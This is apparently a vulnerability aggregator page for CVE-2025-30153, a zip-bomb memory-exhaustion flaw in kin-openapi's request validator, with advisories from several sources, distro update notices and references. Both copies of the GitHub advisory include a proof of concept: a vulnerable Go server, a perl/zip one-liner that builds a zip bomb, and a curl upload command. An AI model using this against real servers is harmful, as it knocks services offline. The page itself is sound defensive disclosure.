CVE-2025-30153
Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter
kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter
kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.
- Record
CVE-2025-30153- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-409
- Updated
- 2026-11-02
EUVDEUVD-2025-6729
7.5
kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.
- Record
EUVD-2025-6729- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-wq9g-9vfc-cfq9
7.5
Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter
Summary
When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.
Details
The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.
PoC
To reproduce the vulnerability, you can use the following OpenAPI schema:
openapi: 3.0.0
info:
title: 'Validator'
version: 0.0.1
paths:
/:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
required:
- file
properties:
file:
type: string
format: binary
responses:
'200':
description: Created
And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function`):
package main
import (
"fmt"
"log"
"net/http"
"github.com/getkin/kin-openapi/openapi3filter"
legacyrouter "github.com/getkin/kin-openapi/routers/legacy"
"github.com/getkin/kin-openapi/openapi3"
)
func handler(w http.ResponseWriter, r *http.Request) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromFile("schema.yaml")
if err != nil {
http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
return
}
if err := doc.Validate(r.Context()); err != nil {
http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
return
}
router, err := legacyrouter.NewRouter(doc)
if err != nil {
http.Error(w, "Failed to create router", http.StatusInternalServerError)
return
}
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, "Failed to find route", http.StatusNotFound)
return
}
input := &openapi3filter.RequestValidationInput{
Request: r,
QueryParams: r.URL.Query(),
Route: route,
PathParams: pathParams,
}
if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
return
}
w.Write([]byte("request ok !"))
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(":8080", nil))
}
We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:
perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt
Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v.
Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)
Impact
An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload.
Remediation
I see at least 2 potential fixes/improvements:
- Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)
- Update
ZipFileBodyDecoderto enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)
- Record
GHSA-wq9g-9vfc-cfq9- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-409
- Updated
- 2026-11-02
NVD
7.5
kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.
- Record
CVE-2025-30153- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-409
- Updated
- 2026-11-02
OSV
7.5
Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter
kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.
- Record
CVE-2025-30153- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-409
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2025-30153
7.5
kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.
- Record
DEBIAN-CVE-2025-30153- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 11 moreShow less
OSVGHSA-wq9g-9vfc-cfq9
7.5
Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter
Summary
When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.
Details
The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.
PoC
To reproduce the vulnerability, you can use the following OpenAPI schema:
openapi: 3.0.0
info:
title: 'Validator'
version: 0.0.1
paths:
/:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
required:
- file
properties:
file:
type: string
format: binary
responses:
'200':
description: Created
And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function`):
package main
import (
"fmt"
"log"
"net/http"
"github.com/getkin/kin-openapi/openapi3filter"
legacyrouter "github.com/getkin/kin-openapi/routers/legacy"
"github.com/getkin/kin-openapi/openapi3"
)
func handler(w http.ResponseWriter, r *http.Request) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromFile("schema.yaml")
if err != nil {
http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
return
}
if err := doc.Validate(r.Context()); err != nil {
http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
return
}
router, err := legacyrouter.NewRouter(doc)
if err != nil {
http.Error(w, "Failed to create router", http.StatusInternalServerError)
return
}
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, "Failed to find route", http.StatusNotFound)
return
}
input := &openapi3filter.RequestValidationInput{
Request: r,
QueryParams: r.URL.Query(),
Route: route,
PathParams: pathParams,
}
if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
return
}
w.Write([]byte("request ok !"))
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(":8080", nil))
}
We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:
perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt
Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v.
Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)
Impact
An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload.
Remediation
I see at least 2 potential fixes/improvements:
- Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)
- Update
ZipFileBodyDecoderto enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)
- Record
GHSA-wq9g-9vfc-cfq9- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-409
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2025-30153
7.5
kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.
- Record
UBUNTU-CVE-2025-30153- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVGO-2025-3533 No score
Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter
Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter
- Record
GO-2025-3533- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:14937-1 No score
govulncheck-vulndb-0.0.20250327T184518-1.1 on GA media
These are all security issues fixed in the govulncheck-vulndb-0.0.20250327T184518-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:14937-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10731-1 No score
mcphost-0.34.0-1.1 on GA media
These are all security issues fixed in the mcphost-0.34.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10731-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10922-1 No score
grafana-11.6.14+security01-4.1 on GA media
These are all security issues fixed in the grafana-11.6.14+security01-4.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10922-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20788-1 No score
Security update for mcphost
This update for mcphost fixes the following issues
- CVE-2025-30153: github.com/getkin/kin-openapi/openapi3filter: Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter (bsc#1264762).
- CVE-2025-47913: golang.org/x/crypto/ssh/agent: client process termination when receiving an unexpected message type in response to a key listing or (bsc#1265274).
- CVE-2025-47914: golang.org/x/crypto/ssh/agent: non validated message size can cause a panic due to an out of bounds read (bsc#1265275).
- CVE-2025-58181: golang.org/x/crypto/ssh: invalidated number of mechanisms can cause unbounded memory consumption (bsc#1253952).
- CVE-2026-32285: github.com/buger/jsonparser: denial of service via malformed JSON input (bsc#1264759).
- CVE-2026-33186: google.golang.org/grpc: authorization bypass due to improper validation of the HTTP/2: path pseudo- header (bsc#1260224).
Changes for mcphost:
- Updated to version 0.34.0
- Features:
- Upgrade charmbracelet libs to v2 (bubbletea, lipgloss, bubbles)
- Add Google Vertex AI support for Claude models
- Add new models.
- Fixes:
- Eliminate escape sequence leak from spinner tea.Program instances.
- Fix anthropic api issue.
- Convert JSON Schema draft-07 exclusive bounds to draft-04 format.
- Upgrade all dependencies to latest versions, resolve security issues and to obtain Go 1.26 compatibility.
- Record
openSUSE-SU-2026:20788-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20940-1 No score
Security update for grafana
This update for grafana fixes the following issues:
Changes in grafana:
-
CVE-2026-39821: Fix validation bypass and privilege escalation by updating golang.org/x/net to version 0.55.0 (bsc#1266600)
-
Update to version 11.6.14+security-04: Security:
- CVE-2026-28374: Fix insecure direct object reference in Annotations API (bsc#1265290)
- CVE-2026-28376: Fix unbounded memory allocation in Grafana Live push endpoint (bsc#1265289)
- CVE-2026-28383: Fix unbounded memory allocation in Grafana plugin resources (bsc#1265286)
- CVE-2026-28380: Fix broken access control in Snapshot API (bsc#1265287)
- CVE-2026-33376: Fix Auth Proxy IPv6 whitelist bypass (bsc#1265285)
- CVE-2026-28379: Fix viewer-triggered race condition in Grafana Live (bsc#1265288)
- CVE-2026-33377: Fix dashboard Editor Privilege Escalation (bsc#1265284)
- CVE-2026-33378: Fix OOM exception in Grafana Data Source Plugin (bsc#1265283)
- CVE-2026-33381: Prevent users from generating Service Account tokens after permissions removal (bsc#1265281)
- CVE-2026-33380: Fix vulnerability in SQL Expressions allowing an authenticated attacker to read arbitrary files from the Grafana server’s filesystem (bsc#1265282)
-
CVE-2026-34986: Fix panic in JWE decryption (bsc#1262950)
-
CVE-2026-41602: Fix Integer Overflow or Wraparound vulnerability in Apache Thrift (bsc#1263501)
-
CVE-2026-26958: Bump filippo.io/edwards25519 to version 1.1.1 (bsc#1258595)
-
CVE-2026-21725: Fix missing UID when deleting datasource by name (bsc#1258873)
-
Update to version 11.6.14+security-01: Security:
- CVE-2026-33375: Fix denial of Service via out-of-memory exhaustion in MSSQL data source plugin (bsc#1260881)
-
Update to version 11.6.14: Security:
- CVE-2026-27876: Fix remote arbitrary code execution via chained SQL Expressions (bsc#1261025)
- CVE-2026-27877: Fix information disclosure of data-source passwords via public dashboards (bsc#1261026)
- CVE-2026-28375: Fix denial of service via testdata data-source (bsc#1261029)
- CVE-2026-27879: Fix denial of service via resample query (bsc#1261027)
- CVE-2026-33186: Fix authorization bypass due to improper validation of the HTTP/2 :path pseudo-header (bsc#1260263)
- CVE-2026-21724: Fix authorization bypass allows modification of protected webhook URLs (bsc#1260878)
-
Update to version 11.6.13: Enhancement:
- Wire the public dashboard service to the HTTP server
-
Update to version 11.6.12: Enhancement:
- Update authentication redirect logic Bug fix:
- Fix single panel render with variable references
- Record
openSUSE-SU-2026:20940-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:21756-1 No score
Security update for mcphost
This update for mcphost fixes the following issues
- CVE-2025-30153: github.com/getkin/kin-openapi/openapi3filter: Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter (bsc#1264762).
- CVE-2025-47913: golang.org/x/crypto/ssh/agent: client process termination when receiving an unexpected message type in response to a key listing or (bsc#1265274).
- CVE-2025-47914: golang.org/x/crypto/ssh/agent: non validated message size can cause a panic due to an out of bounds read (bsc#1265275).
- CVE-2025-58181: golang.org/x/crypto/ssh: invalidated number of mechanisms can cause unbounded memory consumption (bsc#1253952).
- CVE-2026-32285: github.com/buger/jsonparser: denial of service via malformed JSON input (bsc#1264759).
- CVE-2026-33186: google.golang.org/grpc: authorization bypass due to improper validation of the HTTP/2: path pseudo- header (bsc#1260224).
Changes for mcphost:
- Updated to version 0.34.0
- Features:
- Upgrade charmbracelet libs to v2 (bubbletea, lipgloss, bubbles)
- Add Google Vertex AI support for Claude models
- Add new models.
- Fixes:
- Eliminate escape sequence leak from spinner tea.Program instances.
- Fix anthropic api issue.
- Convert JSON Schema draft-07 exclusive bounds to draft-04 format.
- Upgrade all dependencies to latest versions, resolve security issues and to obtain Go 1.26 compatibility.
- Record
SUSE-SU-2026:21756-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:21827-1 No score
Security update for mcphost
This update for mcphost fixes the following issues
- CVE-2025-30153: github.com/getkin/kin-openapi/openapi3filter: Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter (bsc#1264762).
- CVE-2025-47913: golang.org/x/crypto/ssh/agent: client process termination when receiving an unexpected message type in response to a key listing or (bsc#1265274).
- CVE-2025-47914: golang.org/x/crypto/ssh/agent: non validated message size can cause a panic due to an out of bounds read (bsc#1265275).
- CVE-2025-58181: golang.org/x/crypto/ssh: invalidated number of mechanisms can cause unbounded memory consumption (bsc#1253952).
- CVE-2026-32285: github.com/buger/jsonparser: denial of service via malformed JSON input (bsc#1264759).
- CVE-2026-33186: google.golang.org/grpc: authorization bypass due to improper validation of the HTTP/2: path pseudo- header (bsc#1260224).
Changes for mcphost:
- Updated to version 0.34.0
- Features:
- Upgrade charmbracelet libs to v2 (bubbletea, lipgloss, bubbles)
- Add Google Vertex AI support for Claude models
- Add new models.
- Fixes:
- Eliminate escape sequence leak from spinner tea.Program instances.
- Fix anthropic api issue.
- Convert JSON Schema draft-07 exclusive bounds to draft-04 format.
- Upgrade all dependencies to latest versions, resolve security issues and to obtain Go 1.26 compatibility.
- Record
SUSE-SU-2026:21827-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:3718-1 No score
Security update for grafana
This update for grafana fixes the following issues:
grafana updated from version 11.6.14+security04 to version 12.4.5:
Security fixes:
- CVE-2026-39882: Prevent memory exhaustion DoS in OpenTelemetry OTLP HTTP exporters (bsc#1274217)
- CVE-2026-33382: Limit the size of the request body before processing it at several Grafana API endpoints (bsc#1271331)
- CVE-2025-12141: Fixed information leakage in Grafana Alerting (bsc#1262187)
- CVE-2026-41607: Fix potential information disclosure in Apache Thrift (bsc#1263272)
Breaking chahnges introduced in version 12.0.0:
- BREAKING: Removed AngularJS and all deprecated UI Extensions APIs.
- BREAKING: Enforced stricter version compatibility checks in plugin CLI install commands.
- BREAKING: Enabled the failWrongDSUID feature flag by default, which rejects data sources with incorrect UIDs.
Other changes introduced from version 11.6.14+security04 to version 12.4.5 (jsc#PED-16512):
- Add Legal-Review-Notice (bsc#1271327)
- Datasources: return 400 when payload UID does not match URL UID in PUT /api/datasources/uid/:uid
- Analytics: Keep internal dashboard id.
- Reporting: Correctly apply appSubURL to report settings requests
- Alerting: Document Grafana HA Alertmanager cluster metrics prefix change.
- Dependency updates to core plugins and UI libraries.
- Updates to data source provisioning and dashboard schemas.
- Introduced dynamic dashboards in public preview.
- Added a new side toolbar that replaces the second top toolbar to provide additional vertical space.
- Added the ability to create dashboards from templates using sample data.
- Revamped the gauge visualization with rounded bars, configurable bar thickness, and endpoint markers.
- Added support to map one variable to multiple values.
- Released a completely redesigned logs visualization.
- Added the ability to export dashboards directly as PNG images.
- Introduced an interactive learning experience within the Grafana UI.
- Added a Switch template variable type to quickly toggle between values in queries.
- Added functionality to style table cells using CSS properties via the field cell option.
- Added support for Entra Workload Identity to enhance authentication capabilities with federated credentials.
- Redesigned the alert rule list page.
- Renamed Mute Timings to Active Time Intervals in Grafana Alerting.
- Added support for Service Account Impersonation in the BigQuery data source.
- Introduced the Grafana Advisor in public preview.
- Introduced a new dashboard schema to replace the original single grid layout.
- MIGRATION: Triggered a full-table rewrite for the annotation table, which may temporarily increase disk usage.
- Record
SUSE-SU-2026:3718-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/getkin/kin-openapiGo |
before 0.131.0 | 0.131.0 |
golang-github-getkin-kin-openapiDebian:12 |
All versions, plus listed versions 0.110.0-10.117.0-10.118.0-10.120.0-10.122.0-1 Show 5 moreShow less0.122.0-20.122.0-30.123.0-10.124.0-10.135.0-1 |
None known |
golang-github-getkin-kin-openapiDebian:13 |
All versions, plus listed versions 0.124.0-10.135.0-1 |
None known |
golang-github-getkin-kin-openapiDebian:14 |
before 0.135.0-1, plus listed versions 0.124.0-1 |
0.135.0-1 |
grafanaSUSE:Linux Enterprise Module for Package Hub 15 SP7 From an advisory covering 22 CVEs |
before 12.4.5-150200.3.91.1 | 12.4.5-150200.3.91.1 |
golang-github-getkin-kin-openapiUbuntu:22.04:LTS |
All versions, plus listed versions 0.32.0-20.80.0-10.85.0-1 |
None known |
golang-github-getkin-kin-openapiUbuntu:24.04:LTS |
All versions, plus listed versions 0.117.0-10.120.0-10.122.0-30.123.0-1 |
None known |
golang-github-getkin-kin-openapiUbuntu:26.04:LTS |
All versions, plus listed versions 0.124.0-1 |
None known |
govulncheck-vulndbopenSUSE:Tumbleweed From an advisory covering 30 CVEs |
before 0.0.20250327T184518-1.1 | 0.0.20250327T184518-1.1 |
mcphostopenSUSE:Tumbleweed From an advisory covering 3 CVEs |
before 0.34.0-1.1 | 0.34.0-1.1 |
grafanaopenSUSE:Tumbleweed |
before 11.6.14+security01-4.1 | 11.6.14+security01-4.1 |
grafanaopenSUSE:Leap 16.0 From an advisory covering 24 CVEs |
before 11.6.14+security04-bp160.1.1 | 11.6.14+security04-bp160.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-30153 is a high vulnerability (CVSS 7.5) in Getkin Kin-openapi, published March 19, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.62%, the 50th percentile. Fixed in github.com/getkin/kin-openapi 0.131.0.
References
github.com/getkin/kin-openapi/security/advisories/GHSA-wq9g-9vfc-cfq9
github.com/getkin/kin-openapi/commit/67f0b233ffc01332f7d993f79490fbea5f4455f1
github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go
github.com/getkin/kin-openapi?tab=readme-ov-file
github.com/getkin/kin-openapi/pull/1059
nvd.nist.gov/vuln/detail/CVE-2025-30153
Show 111 moreShow less
github.com/advisories/GHSA-wq9g-9vfc-cfq9
github.com/CVEProject/cvelistV5/tree/main/cves/2025/30xxx/CVE-2025-30153.json
security-tracker.debian.org/tracker/CVE-2025-30153
github.com/getkin/kin-openapi
suse.com/support/update/announcement/2026/suse-su-202621756-1
bugzilla.suse.com/1253952
bugzilla.suse.com/1260224
bugzilla.suse.com/1264759
bugzilla.suse.com/1264762
bugzilla.suse.com/1265274
bugzilla.suse.com/1265275
suse.com/security/cve/CVE-2025-30153
suse.com/security/cve/CVE-2025-47913
suse.com/security/cve/CVE-2025-47914
suse.com/security/cve/CVE-2025-58181
suse.com/security/cve/CVE-2026-32285
suse.com/security/cve/CVE-2026-33186
suse.com/support/update/announcement/2026/suse-su-202621827-1
suse.com/support/update/announcement/2026/suse-su-20263718-1
bugzilla.suse.com/1262187
bugzilla.suse.com/1263272
bugzilla.suse.com/1264764
bugzilla.suse.com/1265281
bugzilla.suse.com/1265282
bugzilla.suse.com/1265283
bugzilla.suse.com/1265284
bugzilla.suse.com/1265285
bugzilla.suse.com/1265286
bugzilla.suse.com/1265287
bugzilla.suse.com/1265288
bugzilla.suse.com/1265289
bugzilla.suse.com/1265290
bugzilla.suse.com/1266600
bugzilla.suse.com/1267153
bugzilla.suse.com/1271327
bugzilla.suse.com/1271331
bugzilla.suse.com/1274217
suse.com/security/cve/CVE-2025-12141
suse.com/security/cve/CVE-2026-21725
suse.com/security/cve/CVE-2026-25680
suse.com/security/cve/CVE-2026-25681
suse.com/security/cve/CVE-2026-27136
suse.com/security/cve/CVE-2026-28374
suse.com/security/cve/CVE-2026-28376
suse.com/security/cve/CVE-2026-28379
suse.com/security/cve/CVE-2026-28380
suse.com/security/cve/CVE-2026-28383
suse.com/security/cve/CVE-2026-33376
suse.com/security/cve/CVE-2026-33377
suse.com/security/cve/CVE-2026-33378
suse.com/security/cve/CVE-2026-33380
suse.com/security/cve/CVE-2026-33381
suse.com/security/cve/CVE-2026-33382
suse.com/security/cve/CVE-2026-39821
suse.com/security/cve/CVE-2026-39882
suse.com/security/cve/CVE-2026-41607
suse.com/security/cve/CVE-2026-42502
suse.com/security/cve/CVE-2026-42506
ubuntu.com/security/CVE-2025-30153
cve.org/CVERecord?id=CVE-2025-30153
lists.opensuse.org/archives/list/[email protected]/thread/NEVFAGUWHTVZSJTUAIU6C4S26DP2KIGB
suse.com/security/cve/CVE-2024-25132
suse.com/security/cve/CVE-2024-53348
suse.com/security/cve/CVE-2024-53351
suse.com/security/cve/CVE-2024-7598
suse.com/security/cve/CVE-2024-7631
suse.com/security/cve/CVE-2024-9042
suse.com/security/cve/CVE-2024-9900
suse.com/security/cve/CVE-2025-1097
suse.com/security/cve/CVE-2025-1098
suse.com/security/cve/CVE-2025-1472
suse.com/security/cve/CVE-2025-1767
suse.com/security/cve/CVE-2025-1974
suse.com/security/cve/CVE-2025-24513
suse.com/security/cve/CVE-2025-24514
suse.com/security/cve/CVE-2025-24920
suse.com/security/cve/CVE-2025-25068
suse.com/security/cve/CVE-2025-25274
suse.com/security/cve/CVE-2025-27612
suse.com/security/cve/CVE-2025-27715
suse.com/security/cve/CVE-2025-27933
suse.com/security/cve/CVE-2025-29778
suse.com/security/cve/CVE-2025-29914
suse.com/security/cve/CVE-2025-29922
suse.com/security/cve/CVE-2025-29923
suse.com/security/cve/CVE-2025-30077
suse.com/security/cve/CVE-2025-30162
suse.com/security/cve/CVE-2025-30163
suse.com/security/cve/CVE-2025-30179
suse.com/security/cve/CVE-2025-30204
bugzilla.suse.com/1258595
bugzilla.suse.com/1258873
bugzilla.suse.com/1259999
bugzilla.suse.com/1260263
bugzilla.suse.com/1260878
bugzilla.suse.com/1260881
bugzilla.suse.com/1261025
bugzilla.suse.com/1261026
bugzilla.suse.com/1261027
bugzilla.suse.com/1261029
bugzilla.suse.com/1262950
bugzilla.suse.com/1263501
suse.com/security/cve/CVE-2026-21724
suse.com/security/cve/CVE-2026-26958
suse.com/security/cve/CVE-2026-27876
suse.com/security/cve/CVE-2026-27877
suse.com/security/cve/CVE-2026-27879
suse.com/security/cve/CVE-2026-28375
suse.com/security/cve/CVE-2026-33375
suse.com/security/cve/CVE-2026-34986
suse.com/security/cve/CVE-2026-41602